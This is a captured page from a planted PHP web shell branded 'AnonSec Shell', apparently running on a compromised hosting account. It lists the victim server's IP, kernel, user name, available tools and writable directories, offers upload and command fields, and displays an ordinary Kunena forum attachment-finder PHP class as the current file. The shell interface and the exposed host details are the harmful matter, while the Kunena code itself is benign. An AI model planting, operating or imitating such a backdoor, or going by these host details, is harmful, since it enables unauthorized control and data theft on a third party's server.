AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/c/o/o/coopiak/amisdesseniors-fr/lemans/libraries/kunena/src/Attachment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/c/o/o/coopiak/amisdesseniors-fr/lemans/libraries/kunena/src/Attachment/KunenaFinder.php
<?php

/**
 * Kunena Component
 *
 * @package       Kunena.Framework
 * @subpackage    Attachment
 *
 * @copyright     Copyright (C) 2008 - @currentyear@ Kunena Team. All rights reserved.
 * @license       https://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link          https://www.kunena.org
 **/

namespace Kunena\Forum\Libraries\Attachment;

\defined('_JEXEC') or die();

use Exception;
use Kunena\Forum\Libraries\Collection\KunenaCollection;
use Kunena\Forum\Libraries\Error\KunenaError;
use RuntimeException;

/**
 * Class KunenaAttachmentFinder
 *
 * @since   Kunena 5.0
 */
class KunenaFinder extends \Kunena\Forum\Libraries\Database\Finder\KunenaFinder
{
    /**
     * @var     string
     * @since   Kunena 6.0
     */
    protected $table = '#__kunena_attachments';

    /**
     * Get log entries.
     *
     * @return  array|KunenaCollection
     *
     * @since   Kunena 6.0
     *
     * @throws  Exception|void
     */
    public function find()
    {
        if ($this->skip) {
            return [];
        }

        $query = clone $this->query;
        $this->build($query);
        $query->select('a.*');
        $query->setLimit($this->limit, $this->start);
        $this->db->setQuery($query);

        try {
            $results = (array) $this->db->loadObjectList('id');
        } catch (RuntimeException $e) {
            KunenaError::displayDatabaseError($e);
        }

        $instances = [];

        if (!empty($results)) {
            foreach ($results as $id => $result) {
                $instances[$id] = KunenaAttachmentHelper::get($id);
            }
        }

        unset($results);

        return $instances;
    }
    
    /**
     * Filter by attachment private.
     *
     * @return  $this
     *
     * @since   Kunena 6.4
     */
    public function filterByPrivate()
    {
        $this->query->where($this->db->quoteName('protected') . ' = 32');
        
        return $this;
    }
}

Anon7 - 2022
AnonSec Team